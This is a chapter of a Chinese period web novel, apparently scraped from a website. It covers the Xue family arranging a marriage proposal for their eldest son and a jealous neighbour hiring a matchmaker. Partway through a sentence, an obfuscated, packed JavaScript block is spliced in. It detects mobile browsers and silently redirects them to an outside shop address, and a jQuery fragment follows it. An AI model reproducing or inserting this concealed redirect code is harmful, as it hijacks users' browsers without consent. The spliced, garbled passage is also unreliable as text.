等薛晚回到自家堂屋,发现买来的衣柜和箱子都已经被归置好,放在靠近床的位置。台几也搬到了堂屋,放在了两个竹木制的沙发椅中间。看着越来越有后世生活气息的房间,薛晚只觉得日子正一点点朝着好的方向靠近。

    只是休息日总是短暂的,哪怕薛晚工作也多是在摸鱼,第二日照常要起床、上班。

    一天中午,摸鱼三人组干吃过午饭,正围着炉子烤火,仓库门突然被推开,一股冷风也飘进仓库。

    薛晚抬头看过去,满脸意外:“爸?您怎么来了?”

    薛父脸上带着笑,和女儿点了点头,随即笑着和王姨打招呼。

    “王组长,忙着呢?”

    王姨笑呵呵地站起身招呼道:“哟,薛师傅,稀客呀,今儿个过来是要领什么东西吗?”

    “不领东西。”薛父摆了摆手,笑得亲切又礼貌:“是有点私事儿要麻烦您。”

    薛晚起身,把椅子让给薛父坐,薛父坐下后有些不好意思地在火上烤了烤手,才说了自己的目的:“是这么回事儿,我家老大薛伟和于家小姑娘处了也有一段日子了,俩孩子都没话说,我们两家大人也没不满意的,就像把俩孩子的事儿给定下来。”

    “这不,媒是您给牵的,一事不烦二主,还得请您这大媒人出马,选个日子,我们家好上门提亲,不知道您……什么时候方便?”

    王姨听得就是一乐,当即高兴地一拍大腿,应道:“哎呦,这是大好事儿啊,我有啥不方便的?薛师傅您能来请我,就算没时间我也得给您挤出来。”

    这可是她王月梅第一次给人说媒,还成功了,说出去多有面子的啊!

    只要想想老姐妹听说这事儿后,那脸上羡慕、又嫉妒的神情,王姨就忍不住想去跟她们说道说道。

    薛父见王姨这么说也算是放心了,做为一家之主给足了态度:“那回头就拜托您看个好日子?”

    “不用回头。”王姨在心里盘算了下:“我今儿就去于家走一趟,把事儿给她们家说了,然后商量个日子,最迟……最迟后天,我就给您回信儿。”

    “哎,成!那可真是太谢谢王组长您了!”薛父连声道谢,从棉袄口袋里拿出了一斤包的大白兔奶糖递过去。薛晚眼睛尖,一下子就瞅了个清楚,那糖还是前两天她从空间里拿出来的。

    王姨见薛父的大手笔,连忙婉拒。

    “薛师傅,您这样可就太见外了。”

    自从她给薛伟和于清柔说和后,薛晚就没少带零嘴给她吃,时不时的还帮她踅摸来一两袋奶粉,说来说去还是她占了薛家的便宜。现在薛父又给她送来一包奶糖,王姨哪还好意思再收?

    只是推脱了几次,又有薛晚在一旁帮腔,王姨一个人哪能说得过父女俩?只好收下了薛父的馈赠。

    得到满意的答复,薛父这才起身离开,薛晚跟着送到了仓库外,薛父低声叮嘱女儿:“晚晚,你这儿活挺轻松的,适合你,爸今儿一看也放心了。跟着你王姨好好干,和你那同事也好好相处,以后有个什么事,她们才能帮着搭把手。”

    “我知道的,爸。”薛晚知道薛父说的都是他们老一辈的人摸索出来的经验谈,也不嫌絮叨,点点头表示自己记下了。

    “成,那你回去吧,外面冷,别再冻着。”薛父拍拍女儿的肩膀,转身离去,背影看上去都轻松了许多。

    薛晚回到仓库,王姨又给她和苏蓝分了两个奶糖,才继续各忙各的。

    王姨办事向来是一个吐沫一个钉,说了昨天去于家问信儿,就不会拖到今天。

    果然,一大早的,薛晚刚到仓库没多久,王姨就满面春风的走了进来。

    “晚晚啊,今儿个回去给你爸妈说一声,于家那边答应了,就这个星期日,咱们一块儿去于家商量事儿。”

    “好勒!谢谢王姨了!下班回去我就和他们说。”薛晚笑着应道。

    喜事么,薛父薛母一定很开心。

    傍晚,下班铃声响起,薛晚刚到厂门口就看到了等在那里的薛父和自家老公。得,也不用回去再转达好消息了。

    当即,薛晚就把口信儿给转达了:“爸,王姨说了,就休息日那天,她带你们去于家。”

    “哎!好!我回去和你妈商量下,看看都准备些带什么礼好。”

    薛父喜不自胜,开始琢磨去百货商店或者薛母所在的供销社买些东西撑场面,薛晚跟着一起商量。

    供销社买不到也没关系,她随身携带的超市里有好些,到时候换个包装,搞个“无中生友”,礼物什么的轻松搞定。

    等回到家,薛晚口都不用开,薛父就高兴地把什么都跟薛母说了,薛晚想插嘴都没机会。

    忙忙碌碌三五天,终于又到了休息日,一大清早,休假在家的薛家人就开始忙碌起来。

    为了表示薛家对今天见面的看重,薛家人都换上了最好的衣服,除了薛伟,这人不知怎么想的,差点打扮成了个花枝招展的孔雀。

    吃过早饭,九点刚过,王姨也穿着件干净利索的衣裳过来了,帮着薛家检查了遍礼物,满意地点头不住道好。

    “不错,那咱们走吧。”

    “好!好!走!”

    薛母说着,和薛父跟着王姨出发,薛晚和余天来紧随其后,薛伟和薛兵拎着东西赶忙跟上,一家人浩浩荡荡准备出门。

    谁知还没出四合院大门呢,迎面就撞上了拎着扫帚正在扫地的赵大妈。一个被窝睡不出两样人,赵大爷喜欢贪小便宜,赵大妈也有过之无不及,盯着薛伟手中的网兜眼睛滴溜溜的打转。

    “薛大哥,薛大嫂,你们这……要出门啊?”赵大妈心里隐隐猜到了些什么。

    薛父含糊应道:“啊,出门办点事儿。”

    赵大爷也不傻,闻声从屋里走出来,见到薛伟手中大包小包的,猜测道:“这是……家里准备办喜事了?”

    薛父本来不想太张扬的,但想到今天确实是要去提亲的大喜事,再瞒着就没意思了,干脆道:“是啊!这不我家老大相亲成功了,今儿个我们家去提亲,把事儿给定了。”

    “提亲?哎呦!这可是大喜事啊!”赵大妈的声音一下子就拔高了:“恭喜了啊!”

    赵大爷也跟着拱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837793|211522||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    手:“哟,恭喜了啊老薛,到时候别忘了请喝喜酒啊!”

    这一声声恭喜道喜声,把四合院里的邻居都给引出来了。

    女主许洁刚巧在院里洗孩子的脏衣服,也跟着人过来凑热闹,眼睛落在薛伟手上的网兜就再也挪不开眼了,好似是陷入了久远的会议中,怔怔的回不过神来。

    男主陈雪峰见许洁过来凑热闹,便也跟着围了上来。一开始还不知道是怎么一回事,走近了看到薛家人个个满脸喜色,薛伟和薛兵手里还大兜小兜的提着礼物,再一听周围人满口恭喜的话,也就明白是怎么回事了。

    看了眼高兴地合不拢嘴的薛伟,又想到自家那什么忙都帮不上的“后爹”,心情复杂的回了屋,连心爱的女主都心思遐想了。

    在陈雪峰郁闷的回屋后,薛家人在邻居或真心或假意的道贺声中出了门。

    他们前脚刚走,后脚四合院里就开始议论纷纷了。

    “薛家老大这么快就要定亲了?还挺速度啊!”

    “哎!不是!都一个院里住着,我怎么没听说薛家老大处对象啊?”

    “嘿,人家藏的严实呗。你又不是不知道咱们院里好几个大龄青年都没对象,万一他们有个坏心眼儿,截胡了可怎么好?”

    “你是说?”这人眼珠子一转,往陈雪峰和李原家瞅了一眼。

    “嘿嘿,我可什么都没说。”

    议论声到这里就是一静,再响起就是热火朝天的羡慕:“老薛家的日子,可真是越来越红火了。”

    “可不是,女儿虽说嫁人了,还住在一个院,吃喝都在一起。今年老大结了婚,明年再生个娃……”

    听着院里人的聊天内容,陈雪峰的心里就像是打翻了醋瓶子,越来越酸。

    薛伟那小子,平日里看着闷不吭声的,这就娶上媳妇了?

    而他呢?比薛伟还要大上几岁,连媳妇的影子都见不着一个。

    平日里都说他们院里的人娶媳妇老大难,从他到李原、到薛伟几个人,相个亲挑剔的和什么似得,背后不知道多少人说嘴他们想娶个仙女不成?

    可结婚这事儿谁结谁知道,他陈雪峰城里人,有手艺,长得好,家里还有房子,嫁过来不用伺候公婆,想找个同样城里人,有工作,长得好看的媳妇怎么了?

    凭什么条件不如他的薛伟都能找到于清柔这样的好媳妇,他陈雪峰就找不到?!

    陈学峰越想心里越不是滋味,他从来不会把责任归结在自己身上,想来想去,只找了一个原因,那就是——媒人找错了。

    他之所以没有相到和他一样优秀的相亲对象,肯定是因为媒人没有尽心给他找。

    都说有钱能使鬼推磨,如果他多给媒人点儿钱,媒人能不尽心给他找?

    嗯,说干就干!

    翻箱倒柜翻出攒下的工资,数出六块钱和一张糖票,陈雪峰就匆匆出了门。

    到百货商店买了一斤糖,找到了街道里鼎鼎大名的孙媒婆家,把钱和糖往桌子上一拍,指着东西道:“孙媒婆,劳烦您再给我说个媒,要是成了,我再给您加十块钱的媒人费。”